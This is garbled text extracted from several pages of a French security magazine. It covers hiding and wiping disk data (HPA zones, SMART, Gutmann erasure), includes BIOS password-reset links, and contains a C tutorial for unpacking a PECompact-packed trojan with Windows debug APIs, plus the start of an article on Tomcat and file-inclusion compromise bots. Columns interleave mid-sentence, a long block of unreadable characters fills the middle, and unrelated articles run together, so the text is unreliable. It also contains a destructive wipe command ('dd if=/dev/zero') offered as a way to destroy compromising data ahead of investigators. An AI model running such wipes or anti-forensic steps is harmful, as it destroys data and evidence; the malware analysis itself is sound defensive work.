le nombre d’octets) L’exemple fourni
Figure 5 alloue une zone non cryptée mais
il est possible de définir un cryptage en
remplaçant le mot clé linear par le mot
crypt.
Reste bien sûr à activer la zone HPA.
Par exemple avec le programme hdat2
où, après sélection du disque, il suffit de
définir le dernier secteur accessible et
d’enregistrer. Les programmes setmax
ou le Sleuth Kit réalisent la même chose
sous Linux. Ces programmes permettent
bien évidemment la suppression de
cette protection. A noter qu’il existe
2 modes LBA, 28bits ou 48bits et que Figure 6. Hdat2 et zone HPA
68 HAKIN9 1/2009
PROTÉGER MATÉRIELLEMENT L’ACCÈS À SES DONNÉES
ils subissent des tests très poussés. Les s’appelle G List . On le comprend tout Il existe alors dans ce cas une
secteurs ne remplissant pas leurs devoirs de suite : il y a des secteurs cachés et copie ces données sur un des secteurs
sont désactivés et mémorisés dans une inaccessibles au sein des disques durs. originaux.
liste nommée P List . S’il est possible d’y cacher des Théoriquement, seule la G List est
Enfin, les secteurs présentant des données, on n’oubliera pas que les manipulée après la sortie d’usine puisque
anomalies peuvent être mis de côté secteurs défectueux sont remplacés les instructions agissant sur la P List sont
par l’électronique et automatiquement automatiquement et donc qu’il est possible spécifiques à chaque constructeur et non
remplacés par des secteurs de réserve. La que des données sensibles aient pu faire divulguées. Certains logiciels spécialisés
liste créée et maintenue à cette occasion partie des secteurs remplacés. permettent cependant d’éditer cette liste
mais à défaut, il est très difficile d’avoir des
informations à ce sujet.
Le SMART est un outil de diagnostic
conçu pour anticiper les pannes. En
enregistrant tous les paramètres de
fonctionnement, il permet également
de recueillir quelques informations. Par
exemple, l’attribut Reallocated_Sector_
Count permet de connaître le nombre de
secteurs de la G List .
Il permet également de connaître
le nombre de fois qu’il a été allumé
(Power _ Cycle _ Count) et sa durée
totale de fonctionnement (Powers _ On _
Hours). Cela permet de savoir si le disque
Figure 7. Données smart est neuf et placé là comme leurre ou
s’il a réellement servi. On récupère très
facilement ces informations grâce
à l’utilitaire smartmon illustré à la Figure 7.
Par contre, aucun outil grand public ne
permet de modifier ces informations.
Effacement définitif
Devant les techniques de récupération
avancées des enquêteurs, comment
s’assurer de la destruction de données
compromettantes ?
En effet, il est très facile de laisser des
informations compromettantes. Prenons
l’exemple très simple d’un fichier qui est
modifié, présenté à la Figure 8. À l’origine
présent sur le bloc 2959363, une simple
écriture le transfère deux blocs plus loin.
Et bien évidemment, les données
d’origine restent inscrites sur le disque.
Notez l'utilisation de la fonction debugfs
pour obtenir la liste des blocs et de la
fonction dd avec une taille de bloc de
4096 octets pour extraire les données
directement depuis le disque. Lorsqu’un
PC est réformé, par exemple lors d’un
Terminologie
• HPA : Host Protected Area,
• DCO : Device Configuration Overlay.
Figure 8. Correspondance entre un fichier et les données stockées sur le disque
1/2009 HAKIN9 69
BACKUP
don à une association, comment peut-on dépendant des technologies d’écriture été présenté aujourd’hui. Quant à l’intérêt
s’assurer que les données ne puissent pas utilisées à cette époque, portant le total à d’effectuer jusqu’à 35 pour être sûr, on
être récupérées pour un usage malveillant ? 35 passes. rappelle que leur nombre a été déterminé
Pour commencer, il n’existe pas de On peut alors énumérer les 4 par la quantité de motifs à écrire,
méthode prévue au niveau du disque techniques actuellement utilisées. La dépendant eux-mêmes des technologies
pour effacer une zone précise. Les seules première, la plus basique, consiste à d’enregistrement.
méthodes connues sont la réécriture (par écrire en une seule passe des données Or elles ont bien changé en 20 ans
des uns, des zéros ou n’importe quel motif aléatoires sur le disque à effacer. rendant la justification des 35 passes
binaire) ou la destruction physique du La deuxième du département de la caduque. Rien ne démontre qu’une passe
média. défense américaine, effectue plusieurs supplémentaire diminuera les chances de
Ce domaine était peu connu jusqu’à passes aléatoires suivies d’une destruction récupération.
la publication dans les années 90 de du média. La méthode de la NSA, elle, Bref, en pratique, une seule passe
l’étude Gutmann. Cette étude présente effectue 7 passes. Enfin, la quatrième suffit. Il suffit de s’adresser à un organisme
des moyens techniques de récupération méthode est la méthode Gutmann qui de récupération de données pour s’en
et leur contournement. En effet, en faisant effectue 35 passes. assurer : aucun ne propose de service
appel à un microscope à effet de champ On remarque que 3 méthodes sur pour effectuer la restauration suite à un dd
magnétique, il est possible d’observer les les 4 présentées ici effectuent plusieurs if=/dev/zero.
plateaux des disques dans un niveau de passes. Mais est-ce nécessaire ? En effet, Mais au fait, est-on sûr de bien tout
détail élevé. il est très difficile en pratique d’extraire les effacer ? On a vu qu’il existait des zones
Deux propriétés peuvent ensuite être données d’un disque effacé. Tout d’abord, susceptibles d’avoir contenu des données
utilisées pour reconstituer chaque bit. il est nécessaire d’avoir des images très à un moment avant d’être cachées : ce
La première utilise les variations infimes précises du disque. sont les secteurs défectueux, stockés dans
du champ enregistré sur le média. Par Cela requiert déjà de démonter les la Glist (dont on obtient le nombre grâce à
exemple, lorsqu’un 1 est écrit sur un plateaux en salle blanche. Puis il faut smartmon).
autre 1, le niveau réel obtenu correspond positionner le disque avec précision et D’où la proposition de la NSA
à peu près à 1,05 alors que s’il y avait prendre une photographie de celui-ci. La d’implémenter une fonction pour éradiquer
précédemment un 0, le niveau obtenu quantité de données à analyser est alors toutes les données des disques, qu’elles
correspondrait à 0,95. phénoménale, plus de 10 000 fois la soient dans les secteurs défectueux
La seconde utilise le fait que le centre capacité originale. ou dans les zones HPA ou DCO. Les
des têtes ne se positionne pas toujours Sans compter qu’il faut positionner fabricants n’ont pas l’obligation de
exactement au même endroit pour écrire le matériel et effectuer la procédure bit l’implémenter mais elle est parfois
et donc qu’il reste des traces sur les bords par bit : la procédure est très longue. Le disponible. On peut exécuter cette fonction
des pistes. matériel requis est de plus très couteux. grâce à des utilitaires systèmes tels que
Pour empêcher le recouvrement Alors s’il existe des démonstrations hdat2.
des données, Gutmann a proposé une techniques de récupération de données
méthode consistant en deux phases, une après effacement, elles ne portent que sur Conclusion
pour chaque propriété. La première phase quelques octets de données et ont pris Si des fonctions comme la protection
consiste à écrire 3 passes de données beaucoup de temps : ces analyses sont du BIOS sont répandues, elles sont
aléatoires puis la seconde à écrire donc hors de prix. Aucune récupération aussi faciles à contourner. D’autres sont
plusieurs passes de motifs spécifiques, totale d’un disque ayant été effacé n’a bien plus efficaces, comme les mots
de passe définis sur les disques, mais
aussi difficiles à mettre en place. Tout
Sur Internet dépend du constructeur et bien souvent,
• http://www.cgsecurity.org/cmospwd.txt – Reset password,
ce sont seulement les constructeurs de
• http://www.uktsupport.co.uk/reference/biosp.htm – Master password, portables professionnels qui font ce choix.
• http://web.archive.org/web/20040429073809/qasimtoep.tripod.com/dell/dell.html – dell reset La récupération de données n’est alors
password, plus un tour de magie, mais uniquement
• http://www.hdat2.com/ – hdat2, l’application d’une connaissance
• http://www.rockbox.org/lock.html – atapwd,
approfondie. Reste alors à exploiter les
• http://www.sleuthkit.org/ – sleuthkit,
données...
• http://www.foi.se/upload/rapporter/foi-computer-forensics.pdf,
• http://www.xbox-linux.org – Protection du disque des xbox,
• http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html – Etude Gutmann, Vincent Le Toux
• http://www.cert-ist.com/fra/ressources/Publications_ArticlesBulletins/Veilletechnologique/ Après son diplôme de l'ENSIMAG obtenu en 2003,
l'auteur a rejoint une société d'études de marché à Paris
effacement_disque/, en tant que chef de projet. Aujourd'hui, il est employé
• http://www.actionfront.com/whitepaper/Drive-Independent%20Data%20Recovery%20Ver14Alrs. dans l'équipe architecture d'une grande institution
pdf. financière à Bruxelles.
Pour contacter l'auteur : vincent.letoux@gmail.com
70 HAKIN9 1/2009
����������������
�������������������������������������
�
������������������������������������ ����������������������������������������������������������� �����������������������������������������������������������
������������������������������������������ ������������������������������������� �������������������������������������������������������
����������������������������������������������� ������������������������������������������������������������
�������������������������������������������������������� �� ������������������������������������������� �����������������������������������������������������
������������������������������������������������� �������������������������� �����������������������������������������������������
��������������������������������������������������������� ������������������������������������������������ ������������������������������������������������
���������������������������������������������������������� ���������������������������������������������� �������������������������������������
���������������������������������������������������� ���������������������������������������������������
������������������������������������������������������ ������������������������������������������������ ��������������������������������
����������������������������������������������������� ����������������������������������������������� ����������������������������������������������
��������������������������������������������������� ���������������������������������������������� ��������������������������������������������
������������������������������������������������������������ ������������������������������������������������
������������������������������������������������������������ ������������������������������������ ���������������������������������������������������������
�������������������������������������������������������� ����������� �������������������������������������������������������
����������������������������������������������������� �������������������������������������������������� �����������������������������������������������������
���������������������������������������������������� ������������������������������������������������� ������������������������������������������������������
���������������� ����������������������������������������������������� ���������������������������������������������
��������������������������������������������������� �����������������������������������������������������
�������������������������������� ��������������������������������������������������������������� �����������������������������������������������������������
��������� ������������������������������������������������� ��������������������������������������������������������
������������������������������������������������� ����������������������������������������������������� ����������������������������������������������������
������������������������������������������������ ����������������������������������������������������������� ����������������������������������������������
������������������������������������������������� ������������������������������������������������������������ ������������������������������������������������
������������������������������������������������������ �������������������������������������������������������� ���������������������������������������������������
��������������������������������������������������� ����������������������������������������������������������� ������������������������������������������������
������������������������������������������������������ �������������������������������������������������� �������������������������������������������������
���������������������������������������������������� ��������������������������������������������������� ��������������������������������������������������
������������������������������������������������ ������������������������������������������������������������ ����������������������������������������������������
����������������������������������������������������� ����������������������������������������������� ���������������������������������������������������
�
����������������������������������������������������� �������������������������������������������������������
��������������������������������������������������������
��������������������������������������������������� ���������������������������������������������������� ������������������������������������������������������
������������������������������������������������������� ������������������������������������������������������� �����������������������������������������������������
���������������������������������������������������������� ���������������������������������������������������� ���������������������������������������������������
�������������������������������������������������������
����������������������������������������������������������� �������������������������������������������������������
����������������������������������������������������������
������������������������������������������������� ������������������������������������������������������� ���������������������������������������������������
����������������������������������������������������� ������������������������������������������������
���������� �������������������������������������������������
����������������
������������������������������������������������������� �������������������������������������������������������
������������������������������������������������������������� ���������������������������������������������� �����������������������������������������������������
���������������������������������������������������� ������������������������������������������������� �������������������������������������������������
������������������������� ������������������������������������������������������������ ��������������������������������������������������������
�������������������������������������������������� ��������������������������������������������������
���������������������� ���������������������������������������������������������� ��������������������������������������������������
������������������������ ����������������������������������������������������� ������������������������������������������������������
������������������������������������������������������ ���������������������������������������������������� ��������������������������������������������������
������������������������������������������������������� �������������������������������������������������� ����������������������������������������������������
��������������������������������������������������������� ��������������������������������������������������� �������������������������������������������������
��������������������������������������������������������� ������������������������������������������������ ��������������
�������������������������������������������������� ����������������������������������������������������� �����������������������������������������������
����������������������������������������������������� �������������������������������������������������������� ��������������������������
��������������������������������������������������������� ��������������������������������������������������� �������������������������������������������
������������������������������������������������������� ��������������������������������������������������� �������������������������������������
���������������������������������������������������� ��������������������������������������������������������� ��������������������������������������������
������� ���
TECHNIQUE
BABOON
Programmation
d'un unpacker de trojan
Degré de difficulté
Une technique très utilisées par les antivirus est la détection par
signature. Lorsqu'un malware possède une ou plusieurs portions
de code qui sont toujours identiques, l'antivirus en extrait la
séquence d'octets correspondant et s'en sert par la suite pour
détecter la présence du malware.
P
our lutter contre la détection par signature utilisera les debug APIs de Windows ce qui nous
les trojans sont souvent packés à l'aide permettra de contrôler l'exécution du packer
d'un packer. Un packer est un programme et de dumper le processus au bon moment.
qui compresse , chiffre, protège les exécutables.
Pour que les exécutables puissent être lancés, Étude du loader
le packer leur ajoute une fonction, un loader, Avant de programmer notre un-packer il est
qui va décompresser et déchiffrer l'exécutable nécessaire d'étudier le loader (la fonction logée
en mémoire avant de lui rendre la main. dans l'exécutable qui déchiffra le malware au
Les détections par signatures se faisant sur chargement du programme).
l'exécutable 'en dur', c'est à dire sur le fichier Nous allons pour cela d'abord un-packer
et non en mémoire lorsque le programme manuellement notre malware. Inutile de préciser
est lancé, le code du malware est chiffré et la que lorsque l'on étudie un code malicieux il faut
détection par signature échoue. le faire dans une machine virtuelle qui nous
Pour analyser ces malwares il est nécessaire permettra en cas d'exécution malencontreuse
de les un-packer, de reconstruire l'exécutable du malware de ne pas avoir à formater notre
pour qu'il retrouve sa forme originale et que l'on disque dur, il nous suffira de restaurer l'état de
puisse accéder directement à son code. la machine virtuelle avant l'infection grâce à un
La programmation d'un un-packer snapshot . Nous ouvrons donc le binaire packé
CET ARTICLE permet d'accélérer l'étape de l'un-packing en avec OllyDBG et nous pouvons commencer
EXPLIQUE... l'automatisant, il est alors plus rapide d'analyser l'analyse.
Comment analyser un packer les variantes d'un trojan packées avec le même
simple.
packer. Anti-Émulation
Comment programmer un
un-packer. Pour faire notre un-packer, nous allons Le malware essaie de freiner et de détecter
d'abord analyser le packer afin de comprendre l'émulation de son code par les antivirus en
CE QU'IL FAUT son fonctionnement précis, puis nous allons exécutant 20500 fois l'API TlsFree avec de
SAVOIR... rechercher les points sensibles du packer, par mauvais arguments et en vérifiant le code
Les bases de l'assembleur x86.
exemple l'adresse du saut qui va rendre la d'erreur retourné. Si le code d'erreur est bien
Se servir de OllyDBG (une main au programme, l'endroit où les imports celui attendu ( ERROR _ INVALID _ PARAMETER
grande maitrise n'est pas
nécessaire). du programme sont résolus, etc., ensuite nous 0x57) alors l'exécution du virus se poursuit, sinon
Programmer en C. allons rechercher des signatures dans le packer elle s'arrête.
Des notions sur le format PE
qui nous permettrons de retrouver ces points, Cet anti-antivirus n'est pas très utile, en effet
(Portable Executable). enfin nous programmerons notre un-packer qui le code du packer n'est pas polymorphique et il
72 HAKIN9 1/2009
ANALYSE D'UN PACKER DE TROJAN
est facile d'en extraire une signature qui le décompression du programme, il est fort • 1 – déclenchement d'une exception de
détectera à coup sur sans avoir à l'émuler. probable que le déchiffrement du code type ACCESS _ VIOLATION (le processus
Ce genre de technique n'est intéressante et l'anti-antivirus soient intégrés dans un essaie d'écrire à une adresse nulle),
que dans le cas de malwares aboutis, module programmé par le pirate, il est • 2 – l'exception est gérée par un handler
comme protection supplémentaire, seule, plus simple de développer un module précédemment mis en place qui va
la protection que cet anti-émulateur qu'un packer de A à Z (voir Figure 1). rediriger le processus sur la fonction de
offre est nulle. Enfin lorsqu'un antivirus PECompact est un compresseur, pas décompression à proprement parler,
rencontre un saut conditionnel, il analyse un protector, il est donc facile à un-packer. • 3 – la fonction de décompression va
généralement les deux branches du saut. La décompression se déroule selon ce allouer une page mémoire dans laquelle
schéma : va être décompressée le code du loader,
Déchiffrement
Le malware déchiffre ensuite son code qui
Listing 1. Créer un processus en mode debug
a été chiffré au moment où il a été packé.
Chaque octet est chiffré à l'aide d'opération STARTUPINFOA StartupInfo;
PROCESS_INFORMATION ProcessInfo;
réversibles (multiplication, addition, ou
LPCTSTR path = "packed.exe";
exclusif). Enfin il recherche les adresses StartupInfo.cb = sizeof(STARTUPINFO);
des APIs qui vont être utilisées par la StartupInfo.lpReserved = NULL;
fonction qui décompressera le code. StartupInfo.lpDesktop = NULL;
StartupInfo.lpTitle = NULL;
StartupInfo.dwFlags = NULL;
Décompression et résolution StartupInfo.cbReserved2 = 0;
des imports StartupInfo.lpReserved2 = NULL;
CreateProcessA(path,NULL,NULL,NULL,FALSE,DEBUG_ONLY_THIS_PROCESS | DEBUG_PROCESS
La compression a été faite grâce
, NULL , NULL ,&StartupInfo , &ProcessInfo)
a PECompact (on voit le nom du packer
en mémoire après le déchiffrement), Listing 2. Poser un Hardware Break Point
ce packer obtient un fort taux de
#define OneByteLength 00
compression , l'exécutable passe de #define TwoByteLength 01
828Ko avant compression à 127Ko. #define FourByteLength 3
PECompact met à la disposition du #define BreakOnExec 0
#define BreakOnWrite 1
programmeur un système de module
#define BreakOnAccess 3
qui lui permet d'agir avant ou après la #define GlobalFlag 2
#define LocalFlag 1
#define DR7flag(_size,_type,flag,HBPnum) (((_size<<2 | _type)<< (HBPnum*4 +16))
| (flag << (HBPnum*2)))
CONTEXT Context;
DWORD addrHBP;
DEBUG_EVENT DbgEvt;
HANDLE hThread;
Context.ContextFlags = CONTEXT_ALL;
GetThreadContext(hThread,&Context);
Context.Dr0 = addrHBP;
// DR7flag est une macro permettant de calculer la
// valeure de DR7 suivant le type de HBP
// que l'on souhaite poser.
Listing 3. Attendre une exception SingleStep (indique que le programme a atteint un HBP)
int WaitForSingleStepExc(void) {
ContinueDebugEvent(DbgEvt.dwProcessId,DbgEvt.dwThreadId,DBG_CONTINUE);
while(WaitForDebugEvent(&DbgEvt,INFINITE)) {
if (DbgEvt.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) {
if (DbgEvt.u.Exception.ExceptionRecord.ExceptionCode ==EXCEPTION_SINGLE_STEP)
return 1;
else
ContinueDebugEvent(DbgEvt.dwProcessId,DbgEvt.dwThreadId,
DBG_EXCEPTION_NOT_HANDLED);
} else
ContinueDebugEvent(DbgEvt.dwProcessId,DbgEvt.dwThreadId,DBG_CONTINUE);
} return 0;
}
Figure 1. Code de déchiffrement du plugin
1/2009 HAKIN9 73
TECHNIQUE
• 4 – la fonction décompressée va et les champs FirstChunk supprimés. enregistrerons sur le disque puis nous
charger les APIs qui vont être utilisées Généralement les protector détruisent l'IT reconstruirons l'ImportTable.
par le loader, et modifient l'IAT de manière à compliqué
• 5 – un contrôle d'intégrité est effectué l'unpacking. Pour résoudre les imports, Dumper l'exécutable en mémoire
sur le code afin de s'assurer qu'il n'a PECompact va parcourir l'Import Table Une fois que le code est décompressé
pas été corrompu, décompressée, charger les DLLs en mémoire, juste avant que le loader du
• 5 – les sections de l'application sont nécessaires et rechercher les adresses packer rende la main au malware, nous
décompressées puis copiées a leurs des APIs dont le programme aura besoin. allons dumper la mémoire, c'est
emplacements, Schéma simplifié du fonctionnement du à dire que nous allons copier en
• 6 – les imports sont résolus, packer (voir Figure 2). mémoire les headers (le DOS header, le
• 7 – les droits des sections sont ajustés, PE header et les Section headers) ainsi
• 8 – le loader rend la main au code Unpacking manuel que les sections et les coller dans un
décompressé. Nous allons maintenant un-packer fichier grâce a LordPE. Nous ouvrons
l'exécutable manuellement. Une fois que notre binaire packé avec OllyDBG, nous
L'Import Table n'est pas détruite par les sections auront été déchiffrées traçons jusqu'au JMP EAX qui va sauter
PECompact, elle est juste compressée et décompressées, nous les sur l'OEP (Original Entry Point , le point
d'entré original du malware, celui qu'il avait
avant d'être packé) et nous dumpons le
processus avec LordPE (voir Figure 3).
74 HAKIN9 1/2009
ANALYSE D'UN PACKER DE TROJAN
fonctionnel. Maintenant que nous avons aurons toujours la suite d'instruction PUSH d'octet 0x55, 0x8B, 0xEC, 0x87, 0xEC, 0x5D
compris comment fonctionnait l'intégralité EBP | MOV EBP,ESP | XCHG ESP,EBP pour savoir si notre exécutable est bien
du loader et que nous avons réussi à un- | POP EBP ce qui se traduit par la suite packé par le bon packer, il nous suffit donc
packer manuellement notre binaire, nous
allons pouvoir passer à la programmation
de notre un-packer. Sur Internet
• http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx – Documentation
Programmation de officielle du format PE,
l'un-packer • http://membres.lycos.fr/w32assembly/ace/iczelion/_pe-tut.ace – Traduction en français des
Notre un-packer va travailler exactement tutoriaux de Iczelion sur le format PE par Morgatte,
comme nous l'avons fait, il déboguera • http://msdn.microsoft.com/en-us/library/ms679303(VS.85).aspx – Description des debug APIs,
• http://www.bitsum.com/pecompact.shtml – Site officiel du packer PECompact,
l'exécutable, récupérera les valeurs utiles,
• http://pdos.csail.mit.edu/6.828/2005/readings/i386/s12_02.htm – Description des Debug Registers.
cherchera des signatures, dumpera
l'exécutable en mémoire et reconstruira
l'IAT. Pour déboguer le processus, nous
Listing 4. Mapper le binaire en mémoire et vérifier qu'il comporte une section .nah
utiliserons des APIs que Windows met
à notre disposition, les debug APIs. LPCTSTR path = "packed.exe";
HWND hwndDlg;
HANDLE hFile, hMapp;
Les Debug APIs char* mapping;
PIMAGE_DOS_HEADER pDosHeader;
• 1 – Pour créer un processus en PIMAGE_NT_HEADERS pPE;
PIMAGE_SECTION_HEADER pSection;
mode debug, il suffit d'appeler l'API hFile = CreateFileA(path, GENERIC_READ , FILE_SHARE_READ, NULL , OPEN_EXISTING ,
CreateProcess avec l'argument NULL , NULL);
dwCreationFlags égale à DEBUG _ if (hFile == INVALID_HANDLE_VALUE) {
MessageBoxA(hwndDlg,"Echec lors de l'ouverture du fichier",NULL , MB_ICONERROR);
PROCESS (0x1),
return 0; }
• 2 – Une fois que le processus a été hMapp = CreateFileMapping(hFile, NULL , PAGE_READONLY , 0 , 0 , NULL);
créé, nous pouvons commencer mapping = (char *)MapViewOfFile(hMapp,FILE_MAP_READ,0,0,0);
a recevoir des events (des messages) if (mapping == NULL) {
MessageBoxA(hwndDlg,"Echec lors du mapping du fichier", NULL , MB_ICONERROR);
grâce à l'API WaitForDebugEvent , ces CloseHandle(hMapp);
events nous donnent des informations CloseHandle(hFile);
sur le processus, sur ses threads, sur return 0; }
pDosHeader = (PIMAGE_DOS_HEADER)mapping;
les modules qu'il charge et enfin ils
if (pDosHeader->e_magic != 'ZM') {
nous renseignent lorsque le processus MessageBoxA(hwndDlg,"Dos header non valide", NULL , MB_ICONERROR);
rencontre une exception ce qui nous CloseHandle(hMapp);
permettra plus tard de poser des BPs CloseHandle(hFile);
return 0; }
(des Break Points ou points d'arrêts),
pPE = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + mapping);
• 3 – Pour contrôler l'exécution du loader if (pPE->Signature != 'EP') {
nous utiliserons des HBP (Hardware MessageBoxA(hwndDlg,"PE header non valide", NULL , MB_ICONERROR);
Break Point). Poser un HBP nécessite de CloseHandle(hMapp);
CloseHandle(hFile);
modifier les DRs (Debug Registers) du return 0; }
thread principal, nous utiliserons pour pSection = (PIMAGE_SECTION_HEADER)((PCHAR)pPE + sizeof(IMAGE_FILE_HEADER) +
ce faire les APIs GetThreadContext et pPE->FileHeader.SizeOf OptionalHeader + sizeof(DWORD));
do {
SetThreadContext (voir Lisitngs 1,2 3).
if (pSection->VirtualAddress == 0) {
MessageBoxA(hwndDlg,"La signature .nah n'a pas été trouvé dans les
La détection du packer noms des sections", NULL , MB_ICONINFORMATION);
Il faut être sûr d'avoir affaire au bon packer ou CloseHandle(hMapp);
CloseHandle(hFile);
notre un-packer ne fonctionnera pas et sera
return 0;
susceptible d'exécuter un programme }
malveillant, en effet, si nous posons des BPs if (*(PDWORD)pSection->Name == 'han.')
et que nous lançons le processus, il y a très break;
pSection = (PIMAGE_SECTION_HEADER)((PCHAR) pSection + sizeof(IMAGE_SECTION_
peu de chance pour qu'il break au mêmes HEADER));
adresses et le programme se lancera. }
Pour identifier le packer, nous utiliserons while (1);
CloseHandle(hMapp);
plusieurs signatures, les signatures sont
CloseHandle(hFile);
des suites d'octets invariantes typiques du return mapping;
packer, ainsi à l'EP du programme, nous
1/2009 HAKIN9 75
TECHNIQUE
de rechercher cette suite d'octets à son
Listing 5. Arriver à l'endroit où le loader a fini de décompresser le code et avant qu'il EP, pour plus de précision, nous vérifierons
ne résolve les pointeurs
aussi qu'une section .nah est présente dans
// on break à l'EP le binaire (cette section est celle qui contient
Goto((pPE->OptionalHeader.AddressOfEntryPoint + BaseAddress),ProcessInfo.hThread); le code du loader et son nom est tout le
// on break sur le VirtualAlloc
temps le même), (voir Lisitng 4).
hModKern = GetModuleHandleA("Kernel32");
Goto((DWORD)GetProcAddress(hModKern,"VirtualAlloc"),ProcessInfo.hThread);
// on récupère l'adresse de retour du call VirtualAlloc ainsi que Dumper l'exécutable
// a taille de la future page Nous sommes maintenant sûrs d'avoir
GetThreadContext(ProcessInfo.hThread,&Context);
affaire au bon packer, il nous faut
ReadProcessMemory(ProcessInfo.hProcess,(LPCVOID)Context.Esp,
&RetnAdd,sizeof(DWORD),&NumberOfBytesRead); maintenant localiser l'instruction du
if (NumberOfBytesRead != sizeof(DWORD)) { loader après l'exécution de laquelle le
MessageBoxA(hwndDlg,"ReadProcessMemory a échouée", NULL , MB_ICONINFORMATION);
malware est présent sous sa forme
return TRUE;
}
déchiffrée en mémoire alors que les
ReadProcessMemory(ProcessInfo.hProcess,(LPCVOID)(Context.Esp+8),&AllocSize, imports ne sont pas encore résolus
sizeof(DWORD),&NumberOfBytesRead); (lorsque les imports sont résolus par le
if (NumberOfBytesRead != sizeof(DWORD)) {
loader, les champs OriginalFirstChunk
MessageBoxA(hwndDlg,"ReadProcessMemory a échouée", NULL , MB_ICONINFORMATION);
return TRUE; sont écrasés par les adresses des APIs).
} Comme nous l'avons vu, la décompression
// on récupère la valeur de retour de VirtualAlloc et la résolution des imports se fait dans
Goto(RetnAdd,ProcessInfo.hThread);
GetThreadContext(ProcessInfo.hThread,&Context);
une zone mémoire allouée, donc à une
addrAlloc = Context.Eax; adresse que l'on ne peut pas déterminer
pJmpToOEP = RetnAdd+0x69; statiquement. Pour localiser la procédure de
pCallEdi = RetnAdd+0x45;
reconstruction, nous devrons donc analyser
// on vérifie des signatures
ReadProcessMemory(ProcessInfo.hProcess,(LPCVOID)(pJmpToOEP-2),&Sign, dynamiquement le loader via les debug API :
sizeof(DWORD),&NumberOfBytesRead);
if (NumberOfBytesRead != sizeof(DWORD)) { • 1 –se rendre à l'EP du binaire,
MessageBoxA(hwndDlg,"ReadProcessMemory a échouée", NULL ,MB_ICONINFORMATION);
• 2 – poser un HBP sur l'API
return TRUE;
} VirtualAlloc ,
if(Sign != 0xE0FF5D5B ) { • 3 – attendre que le programme
MessageBoxA(hwndDlg,"Signature non conforme", NULL ,MB_ICONINFORMATION); l'atteigne, récupérer la taille de la
return TRUE;
}
future page mémoire, poser un HBP
// on va jusqu'au call qui se chargera de décompresser le code sur l'adresse de retour de l'appel,
// et résoudre les imports • 4 –attendre que le processus ai fini
Goto(pCallEdi,ProcessInfo.hThread);
l'appel à VirtualAlloc , récupérer sa
// une fois qu'on est a ce call, la mémoire allouée contient le code du loader
// on peut donc la scanner a la recherche d'une signature qui nous donnera valeur de retour (donc l'adresse de la
// l'adresse où le code est décompressé et où les page mémoire allouée),
// imports ne sont pas encore résolus • 5 – à partir de l'adresse de retour de
PackerMem = (PCHAR)VirtualAlloc(NULL,AllocSize,MEM_COMMIT | MEM_RESERVE,
VirtualAlloc , retrouver le JMP EAX
PAGE_READWRITE);
ReadProcessMemory(ProcessInfo.hProcess,(LPCVOID)addrAlloc,PackerMem, qui sautera sur l'OEP ainsi que le
AllocSize,&NumberOfBytesRead); CALL EDI qui appellera la fonction de
if (NumberOfBytesRead != AllocSize) { décompression et de résolution des
MessageBoxA(hwndDlg,"ReadProcessMemory a échouée", NULL ,MB_ICONINFORMATION);
return TRUE;
imports,
} • 6 – poser un HBP sur le CALL EDI,
addrImportResolver = SearchSign(PackerSign,sizeof(PackerSign) -1, PackerMem, AllocSize); • 7 – attendre que le processus
if (addrImportResolver == 0) {
l'atteigne, la page mémoire allouée
MessageBoxA(hwndDlg,"La recherche de la signature du resolveur d'import a echoué",
NULL , MB_ICONINFORMATION); contient alors le code du loader,
return TRUE; • 8 –scanner la page mémoire
} à la recherche de la signature qui
addrImportResolver += addrAlloc-(DWORD)PackerMem-5;
Goto(addrImportResolver,ProcessInfo.hThread);
indique l'endroit où le loader a finit
// là le processus a fini de décompresser le code il nous reste plus qu'à le dumper de décompresser le code et où il
// de plus l'adresse de l'IT se trouve dans Ecx s'apprête à résoudre les imports,
GetThreadContext(ProcessInfo.hThread,&Context);
• 9 – poser un HBP à cette adresse
addrIT = Context.Ecx – BaseAddress;
// on dump le processus et attendre que le processus l'atteigne,
Dump = DumpProcess(ProcessInfo.hProcess,(char*)BaseAddress); • 10 – dumper l'exécutable en mémoire
(voir Lisitng 5, 6 et 7).
76 HAKIN9 1/2009
ANALYSE D'UN PACKER DE TROJAN
1/2009 HAKIN9 77
ÉCONOMISEZ
22%
comment se dèfendre
ou par courrier :
Software-Wydawnictwo Sp. z o.o.,
Bokserska 1, 02-682 Varsovie, Pologne
Tél. (+33) 170 610 717
E-mail : abonnement@software.com.pl
Yahoo Messenger : software_abonnement
Prénom/Nom ........................................................................................
Entreprise .............................................................................................
Adresse .................................................................................................
................................................................................................................
Ville ........................................................................................................
Téléphone .............................................................................................
Fax .........................................................................................................
................................................................................................................
................................................................................................................
................................................................................................................
PRIX D’ABONNEMENT
À HAKIN9 COMMENT SE DÉFENDRE : 35 €
Je règle par :
¨ Carte bancaire n° CB
A
vec l'ajout de couches de sécurité au balises HTML. Ce nouveau contenu permet
niveau des serveurs de messagerie, de très simplement attaquer les clients de Références :
l'envoi d'e-mails contenant un l'application web. [1] – http://marc.info/?l=tomcat-dev&m=
binaire est une méthode de plus en plus La rentrée 2008 a mis en avant 122312090005568
hasardeuse et de moins en moins efficace des attaques visant les interfaces
de compromettre massivement des d'administration (manager) des serveurs plupart des serveurs tomcat sous Windows
machines et ainsi construire un botnet. Une Tomcat[1]. Utilisant un couple d'identifiants tournent en tant que NT AUTHORITY\System
méthode commence à prendre un essor de par défaut (admin/ ), ces malwares (ou alors que les Unixiens ont depuis longtemps
plus en plus important : la compromission mal-wars) installent une archive web (fichier appris à utiliser des comptes dédiés
via un serveur web (attaque du client de .war) permettant de prendre le contrôle à faibles privilèges.
l'application web) ou la compromission d'un de la machine hébergeant le serveur Une autre technique utilisée est
serveur web directement. d'application. Ces charges malveillantes l'exploitation de remote file inclusion pour
Une première génération de ces sont pour la plupart composées d'une exécuter du code PHP sur le serveur cible
intrus automatiques est basée sur première fonction permettant de modifier le afin soit de compromettre le serveur ou
l'exploitation de vulnérabilités triviales, mot de passe de l'interface d'administration tout simplement d'ajouter du contenu.
mais non ciblées, sur des applications (fichier conf/tomcat-users.xml) avec une Ces robots de compromissions massives
spécifiques. Ces robots cherchent, via chaîne aléatoire. Puis elles installent et mettent en avant une généralisation des
des moteurs de recherche, des modèles lancent des malwares sur le système (grâce attaques au niveau du web.
d'URL du type /index.asp?id= en à Runtime.getRuntime().exec(<malw En effet, la sécurité des infrastructures
espérant qu'un mauvais filtrage permettra are>)). Ces logiciels malveillants sont soit étant maintenant correctement réalisée,
